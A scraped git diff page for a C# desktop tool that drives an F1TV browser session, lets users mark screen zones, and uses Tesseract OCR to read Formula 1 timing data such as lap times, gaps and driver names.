    +        public string GrandPrixUrl { get => _grandPrixUrl; private set => _grandPrixUrl = value; }
    +        public List<string> DriverList { get => _driverList; private set => _driverList = value; }
    +        public string SelectedConfigFile { get => _selectedConfigFile; private set => _selectedConfigFile = value; }
    +
    +        //For the responsive content
    +        Size oldSize = new Size();
    +        Size oldGpbxPreviewSize = new Size();
    +        Size oldGpbxWindowPreviewSize = new Size();
    +
    +        Size oldPbxPreviewSize = new Size();
    +        Size oldPbxWindowPreviewSize = new Size();
    +
    +        public Settings()
    +        {
    +            InitializeComponent();
    +            Load();
    +        }
    +        private void Load()
    +        {
    +            RefreshUI();
    +            oldSize = this.Size;
    +            oldGpbxPreviewSize = gpbxPreview.Size;
    +            oldGpbxWindowPreviewSize = gpbxWindowPreview.Size;
    +            oldPbxPreviewSize = pbxPreview.Size;
    +            oldPbxWindowPreviewSize = pbxWindowPreview.Size;
    +
    +            tip1.SetToolTip(btnCreatZone, "After clicking you can select two points in the image to set the bounds of the important data");
    +            tip1.SetToolTip(btnCreateWindow, "After clicking this you will have to select all the windows that are important on the lower image. Refer to the documentation for more infos");
    +            tip1.SetToolTip(btnRefresh, "Starts the emulator or refreshes the images if its already running");
    +            tip1.SetToolTip(btnResetDriver, "Resets the driver if something went wrong or if you want to test an other URL");
    +            tip1.SetToolTip(lsbDrivers, "The drivers that are on the image. Non-Case sensitive");
    +            tip1.SetToolTip(tbxPresetName, "The name of the preset you want to save");
    +            tip1.SetToolTip(pbxPreview, "What the emulator returns");
    +            tip1.SetToolTip(pbxWindowPreview, "One of the driver zones that the program managed to slice from the main zone");
    +        }
    +        private void RefreshUI()
    +        {
    +            lsbDrivers.DataSource = null;
    +            lsbDrivers.DataSource = DriverList;
    +
    +            if (Directory.Exists(ConfigurationTool.CONFIGS_FOLDER_NAME))
    +            {
    +                lsbPresets.DataSource = null;
    +                lsbPresets.DataSource = Directory.GetFiles(ConfigurationTool.CONFIGS_FOLDER_NAME);
    +            }
    +            if (CreatingZone)
    +            {
    +                if (ZoneP1 == new Point(-1, -1))
    +                {
    +                    lblZonePointsRemaning.Text = "2 points Remaining";
    +                }
    +                else
    +                {
    +                    lblZonePointsRemaning.Text = "1 point Remaining";
    +                }
    +            }
    +            else
    +            {
    +                lblZonePointsRemaning.Text = "";
    +            }
    +
    +            if (CreatingWindow)
    +            {
    +                if (WindowP1 == new Point(-1, -1))
    +                {
    +                    lblWindowPointsRemaining.Text = "2 points Remaining";
    +                }
    +                else
    +                {
    +                    lblWindowPointsRemaining.Text = "1 point Remaining";
    +                }
    +                lblWindowPointsRemaining.Text = ConfigurationTool.NUMBER_OF_ZONES - WindowsToAdd.Count() + " Windows remaining";
    +            }
    +            else
    +            {
    +                lblWindowPointsRemaining.Text = "";
    +                lblWindowsRemaining.Text = "";
    +            }
    +            if (Config != null)
    +            {
    +                pbxPreview.Image = Config.MainZone.Draw();
    +                if (Config.MainZone.Zones.Count > 0)
    +                    pbxWindowPreview.Image = Config.MainZone.Zones[0].Draw();
    +            }
    +        }
    +        private void CreateNewZone(Point p1, Point p2)
    +        {
    +            Rectangle dimensions = CreateAbsoluteRectangle(p1, p2);
    +            Config = new ConfigurationTool((Bitmap)pbxPreview.Image, dimensions);
    +            RefreshUI();
    +        }
    +        private void CreateWindows(List<Rectangle> dimensions)
    +        {
    +            if (Config != null)
    +            {
    +                Config.AddWindows(dimensions);
    +            }
    +        }
    +        private void tbxGpUrl_TextChanged(object sender, EventArgs e)
    +        {
    +            GrandPrixUrl = tbxGpUrl.Text;
    +        }
    +
    +        private void btnAddDriver_Click(object sender, EventArgs e)
    +        {
    +            string newDriver = tbxDriverName.Text;
    +            DriverList.Add(newDriver);
    +            tbxDriverName.Text = "";
    +            RefreshUI();
    +        }
    +
    +        private void btnRemoveDriver_Click(object sender, EventArgs e)
    +        {
    +            if (lsbDrivers.SelectedIndex >= 0)
    +            {
    +                DriverList.RemoveAt(lsbDrivers.SelectedIndex);
    +            }
    +            RefreshUI();
    +        }
    +        private void SwitchZoneCreation()
    +        {
    +            if (CreatingZone)
    +            {
    +                CreatingZone = false;
    +                lblZonePointsRemaning.Text = "";
    +            }
    +            else
    +            {
    +                CreatingZone = true;
    +
    +                if (Config != null)
    +                    Config.ResetMainZone();
    +
    +                if (CreatingWindow)
    +                    SwitchWindowCreation();
    +
    +                if (Emulator != null && Emulator.Ready)
    +                {
    +                    Config = null;
    +                    pbxPreview.Image = Emulator.Screenshot();
    +                }
    +
    +                ZoneP1 = new Point(-1, -1);
    +                ZoneP2 = new Point(-1, -1);
    +
    +                lblZonePointsRemaning.Text = "2 Points left";
    +            }
    +            RefreshUI();
    +        }
    +        private void SwitchWindowCreation()
    +        {
    +            if (CreatingWindow)
    +            {
    +                CreatingWindow = false;
    +            }
    +            else
    +            {
    +                CreatingWindow = true;
    +
    +                if (Config != null)
    +                    Config.ResetWindows();
    +
    +                if (CreatingZone)
    +                    SwitchZoneCreation();
    +
    +                WindowP1 = new Point(-1, -1);
    +                WindowP2 = new Point(-1, -1);
    +
    +                WindowsToAdd = new List<Rectangle>();
    +            }
    +            RefreshUI();
    +        }
    +        private void btnCreatZone_Click(object sender, EventArgs e)
    +        {
    +            SwitchZoneCreation();
    +        }
    +        private void btnCreateWindow_Click(object sender, EventArgs e)
    +        {
    +            SwitchWindowCreation();
    +        }
    +        private void pbxMain_MouseClick(object sender, MouseEventArgs e)
    +        {
    +            if (CreatingZone && pbxPreview.Image != null)
    +            {
    +                //Point coordinates = pbxMain.PointToClient(new Point(MousePosition.X, MousePosition.Y));
    +                Point coordinates = e.Location;
    +                float xOffset = (float)pbxPreview.Image.Width / (float)pbxPreview.Width;
    +                float yOffset = (float)pbxPreview.Image.Height / (float)pbxPreview.Height;
    +                Point newPoint = new Point(Convert.ToInt32((float)coordinates.X * xOffset), Convert.ToInt32((float)coordinates.Y * yOffset));
    +
    +                //MessageBox.Show("Coordinates" + Environment.NewLine + "Old : " + coordinates.ToString() + Environment.NewLine + "New : " + newPoint.ToString());
    +
    +                if (ZoneP1 == new Point(-1, -1))
    +                {
    +                    ZoneP1 = newPoint;
    +                }
    +                else
    +                {
    +                    ZoneP2 = newPoint;
    +                    CreateNewZone(ZoneP1, ZoneP2);
    +                    SwitchZoneCreation();
    +                }
    +                RefreshUI();
    +            }
    +        }
    +        private void pbxMain_Click(object sender, EventArgs e)
    +        {
    +            //Not the right one to use visibly
    +        }
    +        private void pbxDriverZone_MouseClick(object sender, MouseEventArgs e)
    +        {
    +            if (CreatingWindow && pbxWindowPreview.Image != null)
    +            {
    +                Point coordinates = e.Location;
    +
    +                float xOffset = (float)pbxWindowPreview.Image.Width / (float)pbxWindowPreview.Width;
    +                float yOffset = (float)pbxWindowPreview.Image.Height / (float)pbxWindowPreview.Height;
    +
    +                Point newPoint = new Point(Convert.ToInt32((float)coordinates.X * xOffset), Convert.ToInt32((float)coordinates.Y * yOffset));
    +
    +                if (WindowP1 == new Point(-1, -1))
    +                {
    +                    WindowP1 = newPoint;
    +                }
    +                else
    +                {
    +                    WindowP2 = newPoint;
    +                    WindowsToAdd.Add(CreateAbsoluteRectangle(WindowP1, WindowP2));
    +
    +                    if (WindowsToAdd.Count < ConfigurationTool.NUMBER_OF_ZONES)
    +                    {
    +                        WindowP1 = new Point(-1, -1);
    +                        WindowP2 = new Point(-1, -1);
    +                    }
    +                    else
    +                    {
    +                        WindowP1 = new Point(WindowP1.X, 0);
    +                        WindowP2 = new Point(WindowP2.X, pbxWindowPreview.Image.Height);
    +                        CreateWindows(WindowsToAdd);
    +                        SwitchWindowCreation();
    +                    }
    +                }
    +                RefreshUI();
    +            }
    +        }
    +        private void pbxDriverZone_Click(object sender, EventArgs e)
    +        {
    +            //Not the right one to use visibly
    +        }
    +        private Rectangle CreateAbsoluteRectangle(Point p1, Point p2)
    +        {
    +            Point newP1 = new Point();
    +            Point newP2 = new Point();
    +
    +            if (p1.X < p2.X)
    +            {
    +                newP1.X = p1.X;
    +                newP2.X = p2.X;
    +            }
    +            else
    +            {
    +                newP1.X = p2.X;
    +                newP2.X = p1.X;
    +            }
    +
    +            if (p1.Y < p2.Y)
    +            {
    +                newP1.Y = p1.Y;
    +                newP2.Y = p2.Y;
    +            }
    +            else
    +            {
    +                newP1.Y = p2.Y;
    +                newP2.Y = p1.Y;
    +            }
    +            return new Rectangle(newP1.X, newP1.Y, newP2.X - newP1.X, newP2.Y - newP1.Y);
    +        }
    +
    +        private async void btnRefresh_Click(object sender, EventArgs e)
    +        {
    +            btnRefresh.Enabled = false;
    +            btnCreatZone.Enabled = false;
    +            btnCreateWindow.Enabled = false;
    +            btnResetDriver.Enabled = false;
    +            if (Emulator == null || Emulator.GrandPrixUrl != tbxGpUrl.Text)
    +            {
    +                Emulator = new F1TVEmulator(tbxGpUrl.Text);
    +            }
    +
    +            if (!Emulator.Ready)
    +            {
    +                Task<int> start = Task.Run(() => Emulator.Start());
    +                int errorCode = await start;
    +                if (errorCode != 0)
    +                {
    +                    string message;
    +                    switch (errorCode)
    +                    {
    +                        case 100:
    +                            message = "Error " + errorCode + " Could not recover cookies. It could be because of an improper installation of python or bad cookies in the chrome database. Please try to log on to the F1TV using chrome again";
    +                            break;
    +                        case 101:
    +                            message = "Error " + errorCode + " Could not start the driver. It could be because an other instance is runnin make sure you closed them all before trying again";
    +                            break;
    +                        case 102:
    +                            message = "Error " + errorCode + " Could not navigate on the F1TV site. Make sure the correct URL has been given and that you logged from chrome. It can take a few minutes to update";
    +                            break;
    +                        case 103:
    +                            message = "Error " + errorCode + " The url is not a valid url";
    +                            break;
    +                        case 104:
    +                            message = "Error " + errorCode + " The url is not a valid url";
    +                            break;
    +                        case 105:
    +                            message = "Error " + errorCode + " There has been an error trying to emulate button presses. Please try again";
    +                            break;
    +                        case 106:
    +                            message = "Error " + errorCode + " There has been an error trying to emulate button presses. Please try again";
    +                            break;
    +                        default:
    +                            message = "Could not start the emulator Error " + errorCode;
    +                            break;
    +                    }
    +                    MessageBox.Show(message);
    +                }
    +                else
    +                {
    +                    pbxPreview.Image = Emulator.Screenshot();
    +                }
    +            }
    +            else
    +            {
    +                pbxPreview.Image = Emulator.Screenshot();
    +            }
    +            btnRefresh.Enabled = true;
    +            btnCreatZone.Enabled = true;
    +            btnCreateWindow.Enabled = true;
    +            btnResetDriver.Enabled = true;
    +            btnRefresh.Text = "Get a newer image";
    +        }
    +
    +        private void Settings_FormClosing(object sender, FormClosingEventArgs e)
    +        {
    +            if (Emulator != null)
    +            {
    +                Emulator.Stop();
    +            }
    +            Emulator = null;
    +            GC.Collect();
    +        }
    +
    +        private void btnResetDriver_Click(object sender, EventArgs e)
    +        {
    +            if (Emulator != null)
    +            {
    +                Emulator.ResetDriver();
    +            }
    +        }
    +
    +        private void btnSavePreset_Click(object sender, EventArgs e)
    +        {
    +            string presetName = tbxPresetName.Text;
    +            if (Config != null)
    +            {
    +                Config.SaveToJson(DriverList, presetName);
    +            }
    +            RefreshUI();
    +        }
    +
    +        private void lsbPresets_SelectedIndexChanged(object sender, EventArgs e)
    +        {
    +            SelectedConfigFile = (string)lsbPresets.Items[lsbPresets.SelectedIndex];
    +        }
    +
    +        private void btnLoadPreset_Click(object sender, EventArgs e)
    +        {
    +            //MessageBox.Show(lsbPresets.SelectedIndex.ToString());
    +            if (lsbPresets.SelectedIndex >= 0 && pbxPreview.Image != null)
    +            {
    +                try
    +                {
    +                    string fileName = lsbPresets.Items[lsbPresets.SelectedIndex].ToString();
    +                    Reader reader = new Reader(fileName, (Bitmap)pbxPreview.Image, false);
    +                    //MainZones #0 is the big main zone containing driver zones
    +                    Config = new ConfigurationTool((Bitmap)pbxPreview.Image, reader.MainZones[0].Bounds);
    +                    Config.MainZone = reader.MainZones[0];
    +                    DriverList = reader.Drivers;
    +                    SelectedConfigFile = fileName;
    +                }
    +                catch (Exception ex)
    +                {
    +                    MessageBox.Show("Could not load the settings error :" + ex);
    +                }
    +                RefreshUI();
    +            }
    +        }
    +
    +        private void Settings_Resize(object sender, EventArgs e)
    +        {
    +            int xDiff = this.Width - oldSize.Width;
    +            int yDiff = this.Height - oldSize.Height;
    +
    +            gpbxPreview.Size = new Size(oldGpbxPreviewSize.Width + xDiff, oldGpbxPreviewSize.Height + yDiff);
    +            gpbxWindowPreview.Size = new Size(oldGpbxWindowPreviewSize.Width + xDiff, oldGpbxWindowPreviewSize.Height);
    +            pbxPreview.Size = new Size(oldPbxPreviewSize.Width + xDiff, oldPbxPreviewSize.Height + yDiff);
    +            pbxWindowPreview.Size = new Size(oldPbxWindowPreviewSize.Width + xDiff, oldPbxWindowPreviewSize.Height);
    +        }
    +
    +        private void btnDeletePreset_Click(object sender, EventArgs e)
    +        {
    +            int selectedIndex = lsbPresets.SelectedIndex;
    +            if (selectedIndex >= 0)
    +            {
    +                string fileName = lsbPresets.Items[selectedIndex].ToString();
    +                if (File.Exists(fileName))
    +                {
    +                    File.Delete(fileName);
    +                    RefreshUI();
    +                }
    +                else
    +                {
    +                    MessageBox.Show("Could not delete the preset because it does not exists");
    +                }
    +            }
    +        }
    +
    +        private void removeBorders(object sender, PaintEventArgs e)
    +        {
    +            GroupBox gpbx = (GroupBox)sender;
    +
    +            using (Pen pen = new Pen(gpbx.BackColor, 50))
    +            {
    +                e.Graphics.DrawRectangle(pen, 0, 0, gpbx.Width - 1, gpbx.Height - 1);
    +                e.Graphics.DrawRectangle(pen, 0, 0, gpbx.Width - 1, gpbx.Height - 1);
    +            }
    +
    +            using (var brush = new SolidBrush(gpbx.ForeColor))
    +            {
    +                var textPosition = new Point(5, 0); // Adjust the X and Y values as needed
    +                e.Graphics.DrawString(gpbx.Text, gpbx.Font, brush, textPosition);
    +            }
    +        }
    +    }
    +}
    +
  • - - DriverGapToLeaderWindow.cs - -
  • -
  • - - DriverPositionWindow.cs - -
  • -
  • - - F1TVEmulator.cs - -
  • -
  • - - Program.cs - -
  • -
  • - - - Window.cs - -
  • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
  • +
  • + + DriverNameWindow.cs
  • @@ -176,13 +155,28 @@
  • + + F1TVEmulator.cs + +
  • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
  • +
  • + + Settings.Designer.cs + +
  • +
  • + + SqliteStorage.cs
  • @@ -191,13 +185,23 @@
  • + + DataWrapper.cs + +
  • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
  • +
  • + + DriverPositionWindow.cs
  • @@ -211,10 +215,21 @@
  • + + Reader.cs + +
  • +
  • Settings.cs
  • +
  • + + + Window.cs + +
  • recoverCookiesCSV.py @@ -239,332 +254,690 @@

    Window.cs

    -
    /// Author : Maxime Rohmer
    -/// Date : 08/05/2023
    -/// File : Window.cs
    -/// Brief : Default Window object that is mainly expected to be inherited.
    -/// Version : 0.1
    -
    -using System;
    -using System.Collections.Generic;
    -using System.Linq;
    -using System.Text;
    -using System.Threading.Tasks;
    -using System.Drawing;
    -using System.IO;
    -using Tesseract;
    -using System.Text.RegularExpressions;
    -using System.Drawing.Drawing2D;
    -
    -namespace Test_Merge
    -{
    -    public class Window
    -    {
    -        private Rectangle _bounds;
    -        private Bitmap _image;
    -        private string _name;
    -        protected TesseractEngine Engine;
    -        public Rectangle Bounds { get => _bounds; private set => _bounds = value; }
    -        public Bitmap Image { get => _image; set => _image = value; }
    -        public string Name { get => _name; protected set => _name = value; }
    -        //This will have to be changed if you want to make it run on your machine
    -        public static DirectoryInfo TESS_DATA_FOLDER = new DirectoryInfo(@"C:\Users\Moi\Pictures\SeleniumScreens\TessData");
    -
    -        public Bitmap WindowImage
    -        {
    -            get
    -            {
    -                //This little trickery lets you have the image that the window sees
    -                Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height);
    -                Graphics g = Graphics.FromImage(sample);
    -                g.DrawImage(Image, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel);
    -                return sample;
    -            }
    -        }
    -        public Window(Bitmap image, Rectangle bounds, bool generateEngine = true)
    -        {
    -            Image = image;
    -            Bounds = bounds;
    -            if (generateEngine)
    -            {
    -                Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, "eng", EngineMode.Default);
    -                Engine.DefaultPageSegMode = PageSegMode.SingleLine;
    -            }
    -        }
    -        /// <summary>
    -        /// Method that will have to be used by the childrens to let the model make them decode the images they have
    -        /// </summary>
    -        /// <returns>Returns an object because we dont know what kind of return it will be</returns>
    -        public virtual async Task<Object> DecodePng()
    -        {
    -            return "NaN";
    -        }
    -        /// <summary>
    -        /// Method that will have to be used by the childrens to let the model make them decode the images they have
    -        /// </summary>
    -        /// <param name="driverList">This is a list of the different possible drivers in the race. It should not be too big but NEVER be too short</param>
    -        /// <returns>Returns an object because we dont know what kind of return it will be</returns>
    -        public virtual async Task<Object> DecodePng(List<string> driverList)
    -        {
    -            return "NaN";
    -        }
    -        /// <summary>
    -        /// This converts an image into a byte[]. It can be usefull when doing unsafe stuff. Use at your own risks
    -        /// </summary>
    -        /// <param name="inputImage">The image you want to convert</param>
    -        /// <returns>A byte array containing the image informations</returns>
    -        public static byte[] ImageToByte(Image inputImage)
    -        {
    -            using (var stream = new MemoryStream())
    -            {
    -                inputImage.Save(stream, System.Drawing.Imaging.ImageFormat.Png);
    -                return stream.ToArray();
    -            }
    -        }
    -        /// <summary>
    -        /// This method is used to recover a time from a PNG using Tesseract OCR
    -        /// </summary>
    -        /// <param name="windowImage">The image where the text is</param>
    -        /// <param name="windowType">The type of window it is</param>
    -        /// <param name="Engine">The Tesseract Engine</param>
    -        /// <returns>The time in milliseconds</returns>
    -        public static async Task<int> GetTimeFromPng(Bitmap windowImage, OcrImage.WindowType windowType, TesseractEngine Engine)
    -        {
    -            //Kind of a big method but it has a lot of error handling and has to work with three special cases
    -            string rawResult = "";
    -            int result = 0;
    -
    -            switch (windowType)
    -            {
    -                case OcrImage.WindowType.Sector:
    -                    //The usual sector is in this form : 33.456
    -                    Engine.SetVariable("tessedit_char_whitelist", "0123456789.");
    -                    break;
    -                case OcrImage.WindowType.LapTime:
    -                    //The usual Lap time is in this form : 1:45:345
    -                    Engine.SetVariable("tessedit_char_whitelist", "0123456789.:");
    -                    break;
    -                case OcrImage.WindowType.Gap:
    -                    //The usual Gap is in this form : + 34.567
    -                    Engine.SetVariable("tessedit_char_whitelist", "0123456789.+");
    -                    break;
    -                default:
    -                    Engine.SetVariable("tessedit_char_whitelist", "");
    -                    break;
    -            }
    -
    -
    -            Bitmap enhancedImage = new OcrImage(windowImage).Enhance(windowType);
    -
    -            var tessImage = Pix.LoadFromMemory(ImageToByte(enhancedImage));
    -
    -            Page page = Engine.Process(tessImage);
    -            Graphics g = Graphics.FromImage(enhancedImage);
    -            // Get the iterator for the page layout
    -            using (var iter = page.GetIterator())
    -            {
    -                // Loop over the elements of the page layout
    -                iter.Begin();
    -                do
    -                {
    -                    // Get the text for the current element
    -                    try
    -                    {
    -                        rawResult += iter.GetText(PageIteratorLevel.Word);
    -                    }
    -                    catch
    -                    {
    -                        //nothing we just dont add it if its not a number
    -                    }
    -                } while (iter.Next(PageIteratorLevel.Word));
    -            }
    -
    -            List<string> rawNumbers;
    -
    -            //In the gaps we can find '+' but we dont care about it its redondant a driver will never be - something
    -            if (windowType == OcrImage.WindowType.Gap)
    -                rawResult = Regex.Replace(rawResult, "[^0-9.:]", "");
    -
    -            //Splits into minuts seconds miliseconds
    -            rawNumbers = rawResult.Split('.', ':').ToList<string>();
    -            //removes any empty cells (tho this usually sign of a really bad OCR implementation tbh will have to be fixed higher in the chian)
    -            rawNumbers.RemoveAll(x => ((string)x) == "");
    -
    -            if (rawNumbers.Count == 3)
    -            {
    -                //mm:ss:ms
    -                result = (Convert.ToInt32(rawNumbers[0]) * 1000 * 60) + (Convert.ToInt32(rawNumbers[1]) * 1000) + Convert.ToInt32(rawNumbers[2]);
    -            }
    -            else
    -            {
    -                if (rawNumbers.Count == 2)
    -                {
    -                    //ss:ms
    -                    result = (Convert.ToInt32(rawNumbers[0]) * 1000) + Convert.ToInt32(rawNumbers[1]);
    -
    -                    if (result > 999999)
    -                    {
    -                        //We know that we have way too much seconds to make a minut
    -                        //Its usually because the ":" have been interpreted as a number
    -                        int minuts = (int)(rawNumbers[0][0] - '0');
    -                        // rawNumbers[0][1] should contain the : that has been mistaken
    -                        int seconds = Convert.ToInt32(rawNumbers[0][2].ToString() + rawNumbers[0][3].ToString());
    -                        int ms = Convert.ToInt32(rawNumbers[1]);
    -                        result = (Convert.ToInt32(minuts) * 1000 * 60) + (Convert.ToInt32(seconds) * 1000) + Convert.ToInt32(ms);
    -                    }
    -                }
    -                else
    -                {
    -                    if (rawNumbers.Count == 1)
    -                    {
    -                        try
    -                        {
    -                            result = Convert.ToInt32(rawNumbers[0]);
    -                        }
    -                        catch
    -                        {
    -                            //It can be because the input is empty or because its the LEADER bracket
    -                            result = 0;
    -                        }
    -                    }
    -                    else
    -                    {
    -                        //Auuuugh
    -                        result = 0;
    -                    }
    -                }
    -            }
    -            page.Dispose();
    -            return result;
    -        }
    -        /// <summary>
    -        /// Method that recovers strings from an image using Tesseract OCR
    -        /// </summary>
    -        /// <param name="WindowImage">The image of the window that contains text</param>
    -        /// <param name="Engine">The Tesseract engine</param>
    -        /// <param name="allowedChars">The list of allowed chars</param>
    -        /// <param name="windowType">The type of window the text is on. Depending on the context the OCR will behave differently</param>
    -        /// <returns>the string it found</returns>
    -        public static async Task<string> GetStringFromPng(Bitmap WindowImage, TesseractEngine Engine, string allowedChars = "", OcrImage.WindowType windowType = OcrImage.WindowType.Text)
    -        {
    -            string result = "";
    -
    -            Engine.SetVariable("tessedit_char_whitelist", allowedChars);
    -
    -            Bitmap rawData = WindowImage;
    -            Bitmap enhancedImage = new OcrImage(rawData).Enhance(windowType);
    -
    -            Page page = Engine.Process(enhancedImage);
    -            using (var iter = page.GetIterator())
    -            {
    -                iter.Begin();
    -                do
    -                {
    -                    result += iter.GetText(PageIteratorLevel.Word);
    -                } while (iter.Next(PageIteratorLevel.Word));
    -            }
    -            page.Dispose();
    -            return result;
    -        }
    -        /// <summary>
    -        /// Get a smaller image from a bigger one
    -        /// </summary>
    -        /// <param name="inputBitmap">The big bitmap you want to get a part of</param>
    -        /// <param name="newBitmapDimensions">The dimensions of the new bitmap</param>
    -        /// <returns>The little bitmap</returns>
    -        protected Bitmap GetSmallBitmapFromBigOne(Bitmap inputBitmap, Rectangle newBitmapDimensions)
    -        {
    -            Bitmap sample = new Bitmap(newBitmapDimensions.Width, newBitmapDimensions.Height);
    -            Graphics g = Graphics.FromImage(sample);
    -            g.DrawImage(inputBitmap, new Rectangle(0, 0, sample.Width, sample.Height), newBitmapDimensions, GraphicsUnit.Pixel);
    -            return sample;
    -        }
    -        /// <summary>
    -        /// Returns the closest string from a list of options
    -        /// </summary>
    -        /// <param name="options">an array of all the possibilities</param>
    -        /// <param name="testString">the string you want to compare</param>
    -        /// <returns>The closest option</returns>
    -        protected static string FindClosestMatch(List<string> options, string testString)
    -        {
    -            var closestMatch = "";
    -            var closestDistance = int.MaxValue;
    -
    -            foreach (var item in options)
    -            {
    -                var distance = LevenshteinDistance(item, testString);
    -                if (distance < closestDistance)
    -                {
    -                    closestMatch = item;
    -                    closestDistance = distance;
    -                }
    -            }
    -            return closestMatch;
    -        }
    -        //This method has been generated with the help of ChatGPT
    -        /// <summary>
    -        /// Method that computes a score of distance between two strings
    -        /// </summary>
    -        /// <param name="string1">The first string (order irrelevant)</param>
    -        /// <param name="string2">The second string (order irrelevant)</param>
    -        /// <returns>The levenshtein distance</returns>
    -        protected static int LevenshteinDistance(string string1, string string2)
    -        {
    -            if (string.IsNullOrEmpty(string1))
    -            {
    -                return string.IsNullOrEmpty(string2) ? 0 : string2.Length;
    -            }
    -
    -            if (string.IsNullOrEmpty(string2))
    -            {
    -                return string.IsNullOrEmpty(string1) ? 0 : string1.Length;
    -            }
    -
    -            var d = new int[string1.Length + 1, string2.Length + 1];
    -            for (var i = 0; i <= string1.Length; i++)
    -            {
    -                d[i, 0] = i;
    -            }
    -
    -            for (var j = 0; j <= string2.Length; j++)
    -            {
    -                d[0, j] = j;
    -            }
    -
    -            for (var i = 1; i <= string1.Length; i++)
    -            {
    -                for (var j = 1; j <= string2.Length; j++)
    -                {
    -                    var cost = (string1[i - 1] == string2[j - 1]) ? 0 : 1;
    -                    d[i, j] = Math.Min(Math.Min(d[i - 1, j] + 1, d[i, j - 1] + 1), d[i - 1, j - 1] + cost);
    -                }
    -            }
    -
    -            return d[string1.Length, string2.Length];
    -        }
    -        public virtual string ToJSON()
    -        {
    -            string result = "";
    -
    -            result += "\"" + Name + "\"" + ":{" + Environment.NewLine;
    -            result += "\t" + "\"x\":" + Bounds.X + "," + Environment.NewLine;
    -            result += "\t" + "\"y\":" + Bounds.Y + "," + Environment.NewLine;
    -            result += "\t" + "\"width\":" + Bounds.Width + Environment.NewLine;
    -            result += "}";
    -
    -            return result;
    -        }
    -    }
    -}
    -
    -
    +
    /// Author : Maxime Rohmer
    +/// Date : 30/05/2023
    +/// File : Window.cs
    +/// Brief : Default Window object that is mainly expected to be inherited.
    +/// Version : Alpha 1.0
    +
    +using System;
    +using System.Collections.Generic;
    +using System.Linq;
    +using System.Text;
    +using System.Threading.Tasks;
    +using System.Drawing;
    +using System.IO;
    +using Tesseract;
    +using System.Text.RegularExpressions;
    +using System.Drawing.Drawing2D;
    +
    +namespace TrackTrends
    +{
    +    public class Window
    +    {
    +        public const string STRING_DEBUG_FOLDER = "./GetString";
    +        public const string LAPTIME_DEBUG_FOLDER = "./LapTime";
    +        public const string GAPTOLEADER_DEBUG_FOLDER = "./Gap";
    +        public const string SECTOR1_DEBUG_FOLDER = "./Sector1";
    +        public const string SECTOR2_DEBUG_FOLDER = "./Sector2";
    +        public const string SECTOR3_DEBUG_FOLDER = "./Sector3";
    +        public const string DRS_DEBUG_FOLDER = "./DRS";
    +        public const string TYRE_DEBUG_FOLDER = "./Tyre";
    +
    +        private Rectangle _bounds;
    +        private Bitmap _image;
    +        private string _name;
    +        protected TesseractEngine Engine;
    +        public Rectangle Bounds { get => _bounds; private set => _bounds = value; }
    +        public Bitmap Image { get => _image; set => _image = value; }
    +        public string Name { get => _name; protected set => _name = value; }
    +        //This will have to be changed if you want to make it run on your machine
    +        public static DirectoryInfo TESS_DATA_FOLDER = new DirectoryInfo(@"C:\Users\Moi\Pictures\SeleniumScreens\TessData");
    +        //Debug
    +        public static Random rnd = new Random();
    +
    +        public Bitmap WindowImage
    +        {
    +            get
    +            {
    +                //This little trickery lets you have the image that the window sees
    +                Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height);
    +                Graphics g = Graphics.FromImage(sample);
    +                g.DrawImage(Image, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel);
    +                return sample;
    +            }
    +        }
    +        /// <summary>
    +        /// Creates a new Window
    +        /// </summary>
    +        /// <param name="image">The image of the parent zone</param>
    +        /// <param name="bounds">The position and size of the window</param>
    +        /// <param name="generateEngine">Does the window need to generate a tesseract engine (takes time and ressources)</param>
    +        public Window(Bitmap image, Rectangle bounds, bool generateEngine = true)
    +        {
    +            Image = image;
    +            Bounds = bounds;
    +            if (generateEngine)
    +            {
    +                Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, "eng", EngineMode.Default);
    +                Engine.DefaultPageSegMode = PageSegMode.SingleLine;
    +            }
    +
    +            //DEBUG
    +            /*
    +            if (!Directory.Exists(STRING_DEBUG_FOLDER))
    +                Directory.CreateDirectory(STRING_DEBUG_FOLDER);
    +            if (!Directory.Exists(LAPTIME_DEBUG_FOLDER))
    +                Directory.CreateDirectory(LAPTIME_DEBUG_FOLDER);
    +            if (!Directory.Exists(GAPTOLEADER_DEBUG_FOLDER))
    +                Directory.CreateDirectory(GAPTOLEADER_DEBUG_FOLDER);
    +            if (!Directory.Exists(SECTOR1_DEBUG_FOLDER))
    +                Directory.CreateDirectory(SECTOR1_DEBUG_FOLDER);
    +            if (!Directory.Exists(SECTOR2_DEBUG_FOLDER))
    +                Directory.CreateDirectory(SECTOR2_DEBUG_FOLDER);
    +            if (!Directory.Exists(SECTOR3_DEBUG_FOLDER))
    +                Directory.CreateDirectory(SECTOR3_DEBUG_FOLDER);
    +            if (!Directory.Exists(DRS_DEBUG_FOLDER))
    +                Directory.CreateDirectory(DRS_DEBUG_FOLDER);
    +            if (!Directory.Exists(TYRE_DEBUG_FOLDER))
    +                Directory.CreateDirectory(TYRE_DEBUG_FOLDER);
    +            */
    +        }
    +        /// <summary>
    +        /// Method that will have to be used by the childrens to let the model make them decode the images they have
    +        /// </summary>
    +        /// <returns>Returns an object because we dont know what kind of return it will be</returns>
    +        public virtual Object DecodePng()
    +        {
    +            return "NaN";
    +        }
    +        /// <summary>
    +        /// Method that will have to be used by the childrens to let the model make them decode the images they have
    +        /// </summary>
    +        /// <param name="driverList">This is a list of the different possible drivers in the race. It should not be too big but NEVER be too short</param>
    +        /// <returns>Returns an object because we dont know what kind of return it will be</returns>
    +        public virtual Object DecodePng(List<string> driverList)
    +        {
    +            return "NaN";
    +        }
    +        /// <summary>
    +        /// This converts an image into a byte[]. It can be usefull when doing unsafe stuff. Use at your own risks
    +        /// </summary>
    +        /// <param name="inputImage">The image you want to convert</param>
    +        /// <returns>A byte array containing the image informations</returns>
    +        public static byte[] ImageToByte(Image inputImage)
    +        {
    +            using (var stream = new MemoryStream())
    +            {
    +                inputImage.Save(stream, System.Drawing.Imaging.ImageFormat.Png);
    +                return stream.ToArray();
    +            }
    +        }
    +        /// <summary>
